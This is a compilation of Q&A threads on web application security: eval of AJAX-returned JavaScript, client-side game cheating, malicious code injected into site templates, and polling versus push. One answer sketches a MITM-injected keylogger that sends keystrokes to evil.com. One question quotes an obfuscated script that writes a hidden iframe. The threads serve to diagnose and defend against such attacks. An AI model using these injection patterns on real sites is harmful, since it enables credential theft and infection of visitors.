Related
I'm modifying an existing web application that features the ability to administrate users who are able to log into the system. When modifying a user's details via a dialog, update data is sent to the server via AJAX. A few lines of javascript to then update the current page to reflect these changes is returned with the intention of being executed. This strikes me as poor form - isn't executing remotely acquired JS dangerous?
If I were to modify this, I would have the AJAX call that sends the updated information then call another function that gets the latest data from the server via AJAX (or just refresh the page, if I am feeling lazy). Is there any advantage (mainly security, but from an architectural perspective as well) to making this change, or am I being anal?
Assuming we're talking about eval used on non-json.
People will tell you all sorts of things, most of it has some basis in reality. I'd say one reason that is really understandable: it will make the code a nightmare to maintain and it will be very hard to trace bugs.
There are security concerns, a lot of people like to jump on the "javascript is the clients problem" bandwagon. I say if it comes from your site, it's your problem too.
In the end, there is no good reason I can think of to eval javascript from the server. Pass data from the server, and write the javascript on the client-side to react to that data.
All JS executed by the browser is remotely acquired.
The server that returned the JS/JSON via AJAX is the same server that returned the HTML that did the AJAX call in the first place.
It if's possible to do something bad, it can be done whether you eval the result of the AJAX call or not.
Personally, I don't see the issue. Sure, people say things such as "It allows code execution client-side" however if the potential attacker is able to affect that, then that's your problem - not the ability to modify the code.
Seriously, I think you have far more pressing concerns than that. I'd personally spend that 10 minutes or so reviewing your code and looking for flaws instead of working on an alternative to eval(). I think it'll improve your security a fair bit more.
Mike Samuel mentions MITM. I don't see why. If you're susceptible to a MITM attack then chances are that code can be injected straight into the initial HTML page (again, sure, slightly higher risk but is it really worth worrying about? Your choice.)
If a trusted developer wrote all of it and you protect it the way you do the rest of your HTML page, then no.
But even if it is JavaScript written by trusted developers, if it is served over HTTP, then an attacker can modify it in-flight because HTTP over free wireless is often susceptible to MITM.
This can be used to effectively install a keylogger in the current browser window to steal user passwords, redirect them to phishing pages, etc.
The attack might work like this:
Web page does a GET to http://example.com/foo.js.
Attacker modifies foo.js mid-flight to add JavaScript that does window.addEventListener("keypress", /* a keylogger that sends all keys to evil.com cross domain by image loading tricks */)
Browser loads modified JavaScript.
User enters a password in an <input type=password>.
Evil wins.
Since HTTPS (assuming no mixed content) is not susceptible to MITM, it is not vulnerable to this attack.
You probably don't want to just call another function after you send the data update because you could then display information that isn't true if an update fails. At least with the current model, your service can tailor the javascript based on whether or not the update was successful. You may want to consider having the service just return a true/false and have the call back function handle the updating of the UI.
Sort answer: Yes
Long answer: You should just send data for both security reasons and to keep your implementations separate.
Improperly sanitized user-submitted content or advertisements could inject code and get it run. Granted, this would have to be a targeted attack, but hey maybe you're working for a startup that's going to be the next Google or a forum system that's going to be the next vBulliten. Even if you have 10 users, security holes are still holes and are still bad for you and your users. Also, bad security advice left lying around SO will lead others to make bad decisions.
Do you really want to have to make sure the code you generate on the fly and send to the client is correct in all possible cases? What if someone else works on just one half of the system? Are they going to know every variable name to avoid stomping on? Just sending data is the best way to keep a 'small' change in your client/server communication from breaking everything in ways that aren't obvious and will take forever to debug.
Imagine a space shooter with a scrolling level. What methods are there for preventing a malicious player from modifying the game to their benefit? Things he could do that are hard to limit server-side is auto-aiming, peeking outside the visible area, speed hacking and other things.
What ways are there of preventing this? Assume that the server is any language and that the clients are connected via WebSocket.
Always assume that the code is 100% hackable. Think of ways to prevent a client completely rewritten (for the purposes of cheating) from cheating. These can be things such as methods for writing a secure game protocol, server-side detection, etc.
The server is king. Clients are hackable.
What you want to do is two things with your websocket.
Send game actions to the server and receive game state from the server.
You render the game state. and you send input to the server.
auto aiming - this one is hard to solve. You have to go for realism. If a user hits 10 headshots in 10ms then you kick him. Write a clever cheat detection algorithm.
peeking outside the visibile area - solved by only sending the visible area to each client
speeding hacking - solved by handling input correctly. You receive an event that user a moved forward and you control how fast he goes.
You can NOT solve these problems by minifying code. Code on the client is ONLY there to handle input and display output. ALL logic has to be done on the server.
You simply need to write server side validation . The only thing is that a game input is significantly harder to validate then form input due to complexity. It's the exact same thing you would do to make forms secure.
You need to be really careful with your "input is valid" detection though. You do not want to kick/ban highly skilled players from your game. It's very hard to hit the balance of too lax on bot detection and too strict on bot detection. The whole realm of bot detection is very hard overall. For example Quake had an auto aim detection that kicked legitedly skilled players back in the day.
As for stopping a bots from connecting to your websocket directly set up a seperate HTTP or HTTPS verification channel on your multiplayer game for added security. Use multiple Http/https/ws channels to validate a client as being "official", acting as some form of handshake. This will make connecting to the ws directly harder.
Example:
Think of a simple multiplayer game. A 2D room based racing game. Upto n users go on a flat 2D platformer map and race to get from A to B.
Let's say for arguments sake that you have a foolsafe system where there's a complex authetication going over a HTTPS channel so that users can not access your websocket channel directly and are forced to go through the browser. You might have a chrome extension that deals with the authentication and you force users to use that. This reduces the problem domain.
Your server is going to send all the visual data that the client needs to render the screen. You can not obscure this data away. No matter what you try a silled hacker can take your code and slow it down in the debugger editing it as he goes along until all he's left with is a primitive wrapper around your websocket. He let's you run the entire authentication but there is nothing you can do to stop him from stripping out any JavaScript you write from stopping him doing that. All you can achieve with that is limit the amount of hackers skilled enough of accessing your websocket.
So the hacker now has your websocket in a chrome sandbox. He sees the input. Of course your race course is dynamically and uniquely generated. If you had a set amount of them then the hacker could pre engineer the optimum race route. The data you send to visualise this map can be rendered faster then human interaction with your game and the optimum moves to win your racing game can be calculated and send to your server.
If you were to try and ban players who reacted too fast to your map data and call them bots then the hacker adjusts this and adds a delay. If you try and ban players who play too perfectly then the hacker adjusts this and plays less then perfect using random numbers. If you place traps in your map that only algorithmic bots fall into then they can be avoided by learning about them, through trial and error or a machine learning algorithm. There is nothing you can do to be absolutely secure.
You have only ONE option to absolutely avoid hackers. That is to build your own browser which cannot be hacked. Build the security mechanisms into the browser. Do not allow users to edit javascript at runtime in realtime.
At the server-side, there are 2 options:
1) Full server-side game
Each client sends their "actions" to the server. The server executes them and sends relevant data back. e.g. a ship wants to move north, the server calculates its new position and sends it back. The server also sends a list of visible ships (solving maphacks), etcetera.
2) Full client-side game
Each client still sends their actions to the server. But to reduce workload on the server, the server doesn't execute the actions but forwards them to all other clients. The clients then resolve all actions simultaneously. As a result, each client should end up with an identical game. Periodically, each client sends their absolute data (ship positions, etc.) to the server and the server checks if all client data is identical. Otherwise, the games are out of sync and someone must be hacking.
Disadvantage of the second method is that some hacks remain undetected: A maphack for example. A cheater could inject code so he sees everything, but still only sends the data he should normally be able to see to the server.
--
At the client-side, there is 1 option:
A javascript component that scans the game code to see if anything has been modified (e.g. code modified to render objects that aren't visible but send different validation data to the server).
Obviously, a hacker could easily disable this component. To fix that, you could force the client to periodically reload the component from the server (The server can check if the script file was requested by the user periodically). This introduces a new problem: the hacker simply periodically requests the component via AJAX but prevents it from running. To avoid that: have the component redownload itself, but a slightly modified version of itself.
For example: have the component be located at yoursite/cheatdetect.js?control=5.
The server will generate a slightly modified cheatdetect.js so that in the next iteration, cheatdetect.js?control=22 (for example) must be downloaded. If the control mechanism is sufficiently complicated, the hacker won't be able to predict which control number to request next, and cheatdetect.js must be executed in order to continue the game.
There's nothing you can really do to prevent anyone from modifying your JS or writing a GreaseMonkey script. However you can make it hard for them by minifying your script as well as making your code as cryptic as possible. Maybe even throwing in some fake methods or variables that do nothing but are used to throw an attacker off. But given enough time, none of these methods are completely foolproof, as once your code goes to the client, it is no longer yours.
The only way I can even think of implementing this is by modifying your Javascript to function as a client and then designing a central server mechanism to validate data sent from that client. This is probably a big change to implement and will most likely make your project more complex. However, as was said earlier, if the application runs entirely on the client, the client can pretty much do whatever they want with your script. The only way to secure it to use a trusted machine to handle validation.
They don't have to touch your client-side code -- they could just sniff and implement your Websocket protocol and write a tiny agent that pretends to be a human player.
Update: The problem has a few parts, and I don't have answers off the top of my head, but the various options could be evaluated with these questions in mind:
How far are you willing to go to prevent cheating? If you only care about casual cheating, how many barriers are enough to discourage the casual cheater? The intermediate Javascript programmer? A serious expert? Weighing this against the benefits of cheating, is there anything of real value at stake, like cash and prizes, or just reputation?
How do you get a high confidence that a human is providing inputs to your game? For example, with a good enough computer vision library I could model your game on a separate machine feed inputs to the computer pretending to be the mouse, but this has a high relative cost (not worth my time).
How can you create a chain of trust in your protocol such that knowledge of (2) can be passed to the server, and that your server is relatively confident your client code is sending the messages?
Sure many of the roadblocks you throw up can be side-stepped, but what is the cost to the player and you? See "Attrition warfare".
Some other methods that can be implemented:
Make the target elements difficult for a script to distinguish from other elements. Avoid divs with predictable class and id names if possible. Inject styling using JavaScript instead of using classes. Think like a hacker and make it hard on yourself.
Use decoys that a script will fire on. For instance, if the threat vector is a screen scraping algorithm using pixel colors, throw some common pixel colors in non-target elements. Hits on these non-targets could seem inconsequential to the cheater, but would be detectable. You don't want the cheater to know why you know.
Limit the minimum time between actions to slightly below the best human levels. The best players will hit that plateau, and it won't matter as much who's cheating, and immediately be able to detect anyone scripting faster than that by side-calling method calls.
Random number generators are typically uniform. Human nature is not. Likely a random number generator will have values within a set limit and even distribution. Natural distribution is a Gaussian curve. If you sampled the distribution and it looks like a square wave in the x and y axis, 100% it's a cheater. This will be fairly difficult for the cheater to detect the threshold for the algorithm because it's a derivative of the random, and not the random distribution itself. You're also using aggregate data and not individual plays to detect it, so reverse engineering the algorithm would be extremely difficult without knowing your detection algorithm.
Utilize entropy whenever possible. Avoid predictable game plays. Imagine a racing game on a set collection of race tracks. Each game play could have slightly differing levels of traction, horsepower, and momentum. The script would have to be extremely good to beat it. In a scrolling game, you can alter factors that are instinctual to humans, but difficult for computers, such as wind force, changes in gravity, etc. It would also make it more fun as a side benefit.
Server generated tokens can be used to validate UI elements were used and not calls to the code itself. Validation can be handled in one call at the end of the game comparing events to hashed codes of UI elements. The token should be a hash with a server private key and some value of the UI element.
Decoy the cheater with data they think you're using to detect cheats. Such as calls to a DetectCheat method with dummy calls to a fake backend. It's the old magician's trick. Wave your hand over here, while you slip a card into the deck with the other hand. Let them waste days on end in a maze that has no exit, with lot's of hair pulling.
I'd use a combination of minification and AJAX. If all of the functions and data aren't loaded into the page, it'd be more difficult to cheat.
On the other hand, modding turned out to be a very profitable tool for companies like Id Software. Perhaps allowing the system to be modded might make the game that much more enjoyable to the community at large.
Obfuscate your client exposed code as much as possible. Additionally, use some magic.
You can edit the javascript on the browser and make it work.
Some people suggest that make a call to check with the server. So after making a call to the server, it will be validated in the server. Once validated, it will come to client side and do actions. But I think even this is not foolproof.
For eg.,. for a Basic login action : in angular while making a call to server, the backend validates username & pwd and if validated, it will come back to the client and let the user login using angular.
When I say login using angular, it is going to store things in cookies, like user objects and other things. But still the user can remove the JS code which is making the call to backend, and return TRUE(wherever needed) and insert user object(dummy) to cookies and other objects(whatever needed) and login. It is a very difficult thing to do, but it is doable. In many scenarios, this is not desirable even if it takes hours to edit/hack the code.
This is possible in single page applications, where JS files dont get reloaded for each page. To mitigate the possibility of getting hacked we can use minified codes. And I guess if actions like this is done in backend(like login in Django) it is much safer.
Please correct me if I am wrong.
We recently got a call from one of our clients, complaining that their site has some "strange looking code" at the bottom of the page. We checked out the source code, and discovered that about 800 bytes of malicious javascript code had been appended to the templates/master file, after the </html> tag. I won't post said code because it looked particularly nasty.
As far as I can tell, there would be no way for this file to be edited in any way, unless someone had direct access to the server and/or FTP login details. The actual file itself has been modified, so that rules out any kind of SQL attack. Besides a person physically gaining credentials and hand-modifying this file, would there be any other logical explaination for what happened? Has anyone else had experience with something like this happening?
The places I'd check are:
File modification times (to see when it happened)
HTTP server logs for signs of funny-looking GET params (eg, ?foo=exec('...'))
FTP server logs
SSH logs (something similar happened to me once, and it was because someone gave out their password)
Also, I'd immediately restrict write access to all the site's files, just to be safe from the same attack (of course, the vector is still open, but it's better than nothing).
If the attacker doesn't have other file access, it's likely that there is an exploit in the code somewhere that allows the user to execute arbitrary code. Use of passthru(), exec() and eval() are common problems here. If there is FTP running on the same machine, that's typically a strong attack vector as well.
I'm not sure that I would categorically rule out a SQL attack (especially a reflected one combined with the above exploits), but it's not clear that it would be one, either.
To your question, it could be either automated or personally targeted, it's hard to say with the level of detail given. As others have said, switch out as many passwords as you can, restrict access to the server, and then start inspecting logs to see where things went wrong. That will be more successful than ripping apart the app itself.
You don't specify, but if you are you shouldn't be using FTP on a production server anyway because it's inherently unsafe (among other things it transmits credentials in plaintext, making you easily prey to a sniffing attack). Always use SFTP.
If you are using plain FTP this is most likely the attack vector, particularly as modifying the files is all that as happened. If your machine has been completely penetrated I'd have expected to see more than that.
Almost certainly compromised credentials allowing someone to alter the code remotely. Is the server located on site?
Here is how I see it.
Using an FTP program? Your ftp log files storing passwords, paths ect.. gets grabbed. The passwords get decoded.
Try not to store FTP passwords in the FTP client. Or do like above, use SFTP.
We had a similar issue and seems to have come from one computer with a set of FTP logins. Also as this computer had many previous odd issues with it. Javascript would not work right, odd session timeouts or simply removed. Which to me indicates this computer had something on it.
Do make sure to find and remove any suspicious files in your website. If they had access to FTP, most likely they left a backdoor script somewhere which would enable them to upload/modify files on your website via a specific URL even after you change your FTP password or switch to using SFTP.
Try running the script found here if you're using PHP.
To detect a existing malicious code, I recommend that you use a good anti-malware scan engine on the server to detect malicious code on the website´s files.
Many times, the server isn't vulnerable, but the website is! To prevent this, use a Web Application Firewall that can take a look on every request to detect and block a attack attempt.
I am working on a simple notification service that will be used to deliver messages to the users surfing a website. The notifications do not have to be sent in real time but it might be a better user experience if they happened more frequently than say every 5 minutes. The data being sent to and from the client is not very large and it is a straight forward database query to retrieve the data.
In reading other conversations on the topic it would appear that an AJAX push can result in higher server loads. Since I can tolerate longer server delays is it worth while to have the server push notifications or to simply poll.
It is not much harder to implement the push scenario and so I thought I would see what the opinion was here.
Thanks for your help.
EDIT:
I have looked into a simple AJAX Push and implemented a simple demo based on this article by Mike Purvis.
The client load is fairly low at around 5k for the initial version and expected to stay that way for quite some time.
Thank you everyone for your responses. I have decided to go with the polling solution but to wrap it all within a utility library so that if they want to change it later it is easier.
I'm surprised noone here has mentioned long-polling. Long polling means keeping an open connection for a longer period (say 30-60 seconds), and once it's closed, re-opening it again, and simply having the socket/connection listen for responses. This results in less connections (but longer ones), and means that responses are almost immediate (some may have to wait for a new polling connection). I'd like to add that in combination with technologies like NodeJS, this results in a very efficient, and resource-light solution, that is 100% browser compatible across all major browsers and versions, and does not require any additional tech like Comet or Flash.
I realize this is an old question, but thought it might still be useful to provide this information :)
Definitely use push its much cooler. If you just want simple notifications I would use something like StreamHub Push Server to do the heavy-lifting for you. Developing your own Ajax Push functionality is an extremely tricky and rocky road - you have to get it working in all browsers and then handle firewalls and proxies killing keep-alive connections etc... Why re-invent the wheel. Also, it has a similarly low footprint of less than 10K so it should suit if that is a priority for you.
Both have diferent requirements and address diferent scenarios.
If you need realtime updates, like in an online chat, push is a must.
But, if the refresh period is big, as it is in your case (5 minutes), then pool is the appropriate solution. Push, in this case, will require a lot of resource from both the client and the server.
Tip! try to make the page that checks the pool fast and clean, so it doesn't consumes a lot of resources in the server in each request. What I usually do is to keep a flag in memory (like in a session variable) that says if the pool is empty or not... so, I only do havy look in the pool only if it is not empty. When the pool is empty, which is most of the time, the page request runs extremely fast.
Because using a push requires an open HTTP connection to be maintained between your server and each client, I'd go for poll as well - not only is that going to consume a lot of server resources but it's also going to be significantly more tricky to implement as matt b mentioned.
My experience with polling is that if you have a frequent enough polling interval on a busy enough site your web server logs can get flooded with poll requests real quickly.
Edit (2017): I'd say your choices are now are between websockets and long polling (mentioned in another answer). Sounds like long polling might be the right choice based on the way the question mentions that the notifications don't need to be received in real time, an infrequent polling period would be pretty easy to implement and shouldn't be very taxing on your server. Websockets are cool and a great choice for many applications these days, sounds like that might be overkill in this case though.
I would implement a poll just because it sounds simpler to write, and keeping it simple is very valuable.
Not sure if you have taken a look at some of the COMET implementations out there (is that what you mean by AJAX push).
If the user is surfing the site, won't that in effect be requesting information from the server that this notification can piggy-back on?
It's impossible to say whether polling will be more expensive then pushing without knowing how many clients you'll have. I'd recommend polling because:
It sounds like you want to update data about once per minute. Unless notifications are able to arrive at a much faster rate than that, pushing would mean you're keeping an HTTP connection open but seeing very little activity on it.
Polling is built on top of existing HTTP conventions, so any server that talks to web browsers is already ready to respond to ordinary Ajax requests. A Comet– or Flash socket–based solution has different requirements; you'll need something like cometd on the server side and a client-side library that groks server-side push.
So if you needed something heavy-duty to manage a torrent of data and a crapload of clients, I'd recommend Comet. But that doesn't seem to be the case.
There's now a service http://pusherapp.com that is trying to solve this problem once and for all, in a blink. Might be worth checking out. (disclaimer: i am in no way associated with them).
I haven't tried it myself, but some say COMET works and is easier than you think. There's also a Ruby on Rails plug-in called Juggernaut that I've heard talked about highly. Again, I haven't used it, so YMMV, but my understanding is that it takes far fewer resources compared to polling. I believe (can someone confirm?) that COMET is how MacRumorsLive.com delivers live blogging of WWDC Stevenotes.
I have a website, and I just discovered that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\"
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
Which I'm not sure how got there. Anyone know how it got there? and what I can do to remove it?
You need to know this now:
We see this at Linode quite a bit, and it's an indication that your server has been compromised by an attacker. When unescaped, it's likely to be a browser exploit that will infect your users, or a link to a spam site.
Save everything with the injected code for later analysis, and redeploy your entire server and Web stack immediately. The attacker undoubtedly has at least a shell on your box, and that will inevitably lead to root if he's crafty.
Redeploy now, keep your applications up to date, stop writing exploitable PHP, and lock down your user accounts with strong passwords or SSH keys. Not trying to pimp my company or anything, but this is such a common occurrence on poorly-managed Web boxen that we've written an article about how to completely redeploy from scratch. I suggest it several times a day.
EDIT: If you're downvoting me, please say why -- I've triaged three cases with this exact code, so I'm not making things up.
EDIT 2: There is one regard where I may be overestimating the situation, and it's only because I'm an employee of a VPS company (and I see this a lot). I made a mistake in assuming that this user's "Web host" was a server under his control, not shared hosting. That was a mistake, but there still is the chance that I'm right.
Compromise is a desperate situation where working in the dark can have disastrous consequences. If you do not know why an unauthorized party gained access to your infrastructure, you cannot rectify the problem. Since everyone assumed we're talking about managed, shared hosting here -- there is the chance that you're right and XSS is to blame. Again, the question was not presented with much data, and compromise is a situation that is not treated with enough gravity among developers in general.
I'm honestly tired of tickets that we open where a box is hitting another on the Internet with SSH probes, DoS data, URL injection, or anything for that matter -- and the Rails or PHP developer administering the box has no idea why it happened or what he can do about it. These are all things that indicate system compromise, not XSS. Therefore, my assumption that this was a server under the OP's control was misplaced, but it's forgivable (I hope) because I'm at work right now, handling those tickets.
If you'd like me to delete my answer, just say so, but I don't see any others getting votes.
Since you mentioned PHP, I'll run through a list of possible ways it could have happened. This list is not all-inclusive; but it will allow you to do a fair amount of investigation into what happened.
It's possible your web host was hacked and this was placed into your page through lax security on their part. However, do not assume this is the case. This should be your last resort.
It's probably your fault. I don't say this to point blame; but the sooner we developers realize we're the cause of our problems, the better off we'll all be. The only developer I don't trust is the one that says he doesn't make mistakes.
Your site was probably hit with an XSS attack.
Do you have any way for a user to type in information on your website? Do you use any textboxes or anything that would allow input from the user?
If so, then your site is vulnerable to XSS and other attacks. Here's a 'cheat-sheet' that will tell you general things you can do to mitigate this.
You should not allow any user data to pass to the database without being parametrized.
If you're going to allow a user to insert HTML, then you need to sanitize it.
Don't use magic quotes.
There are many ways this could have happened, but without more information, I'm going off of what you've written.
Steps:
Take the app offline.
Query your database to see how many pages / entries this has been injected into.
Check through your code for the things I mention.
Fix those.
Go through your database and take out any suspect lines (a SQL script would be easiest).
Re-deploy App.
Make sure you keep an eye on your webserver logs. They're a godsend to determining where the attack came from.
Are you using any 3rd party applications that have security holes? For example, a while back we had an issue with an old version of FCK editor, set up in the default location with all the samples folders in place that were being used to upload bad files.
The obfuscated part unescapes to "t.cn/vid"
As I see your pages are been injected in code, so this was done because there is a security hole in your server or in any application running on it. The hacker has writing capabilities to your scripts and the solution can be so easy as changing your FTP password or so complex as searching for a hole in any application installed in your server.
But first try to change your FTP password, Change it by a very hard to guess one, at least 12 characters long with any special character on it. I have heard that there was a brute force attack being directed from russian hackers that was injecting scripts in the headers of the pages to redirect the users to any other sites for any obscure purpose.
It's less likely that this was done through your own code (since the code, nor the possible exploits for this are usually not widely known -- but that's obviously no reason not to secure it), but do a check for common but outdated apps (WordPress, Drupal, ...) on your account.
I've encountered something similar a few days ago, it turned out that there was an old WordPress (v2.0 I think) blog installed through which they could gain access.
If you can, also check your server logs for the time that your PHP files on the server were last modified. In my case, it gave a clear record of how they entered and what to do against it.